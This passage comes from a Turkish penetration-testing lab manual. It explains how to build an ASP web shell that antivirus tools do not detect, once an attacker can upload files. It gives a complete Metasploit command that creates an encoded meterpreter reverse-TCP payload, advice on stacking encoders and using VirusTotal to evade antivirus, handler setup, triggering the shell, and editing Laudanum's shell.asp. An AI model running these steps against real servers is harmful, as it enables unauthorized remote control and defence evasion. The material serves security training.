  81. 81. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-18 Uygulama Adı: Antivirüsler Tarafından Yakalanmayan ASP Shell Oluşturma Amaç: Doğrudan veya dolaylı olarak dosya yükleme yetkisinin bulunduğu durumlarda, sunucuyu ele geçirmek için antivirüs/IPS/Waf tarafından tanınmayan ASP shell oluşturmak. Lab senaryosu: ASP destekli bir web sunucusu. Örnekte Windows Server 2008 üzerine kurulu IIS 7 kullanılmıştır. Kullanılan Araçlar: ● Laudanum 0.8 ● msf 4.6.2 Adımlar: Metasploit Framework Kullanarak: 1. Adım: “msfpayload windows/meterpreter/reverse_tcp LHOST=localmakinaip LPORT=443 R | msfencode -t raw -e x86/shikata_ga_nai -c3 | msfencode -t asp -o sh.asp” komutu ile asp encode edilmiş “localmakinaip” yerine, belirtilen IP ye 443 portundan, ters bağlantı açacak bir payload oluşturulur. Payload, ayrıca shikata_ga_nai ile de encode edilmiştir. Aynı mantıkla, encoding sayısını ve çeşitini artırarak, farklı antivirüsler atlatılabilir. “msfencode -l” ile encoding çeşitleri listelenir. Oluşturulan payloadı, virustotal gibi çoklu tarama hizmeti veren servislerde taratılarak, hangi antivirüslerin yakalayıp, hangisinin atlatıldığı tespit edilip, ona göre hedef sisteme yollanır. 2. Adım: Terminalden, msfconsole çalıştırılır ve “useexploit/multi/handler” ileters bağlantıbekleyecek msf modülüne geçilir. Daha sonra PAYLOAD, LHOST ve LPORT değişkenleri, 1. adımda oluşturulan shell ile uyumlu olacak şekilde atanır ve “exploit” komutu ile bağlantı beklenmeye başlanır.
  82. 82. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Adım: Hedef sistem üzerine yüklenen sh.asp dosyasına, GET isteğinde bulunulur.(herhangi bir tarayıcıdan hedef.com/sh.php gibi bağlanmak veya curl, nc, telnet, kullanılabilir). Böylece hedef sistemde payload çalışmış olur ve beklemekte olan msf handler’la bağlantıyı başlatır. Laudanum Kullanarak: 1. Adım: Msf ile istenilen antivirüsün atlatılamadığı durumlarda, basit yapısından dolayı, güncel antivirüsler tarafından zararlı olarak tanınmayan, Laudanum paketindeki “shell.asp” betiği kullanılabilir. İlk adımda, shell.asp dosyası bir text editör ile açılıp if ip<>"1.2.3.4" then satırındaki (sürüm 0.8 için satır 46) 1.2.3.4 yerine, shell’e bağlanacak olan makinanın dış IP

×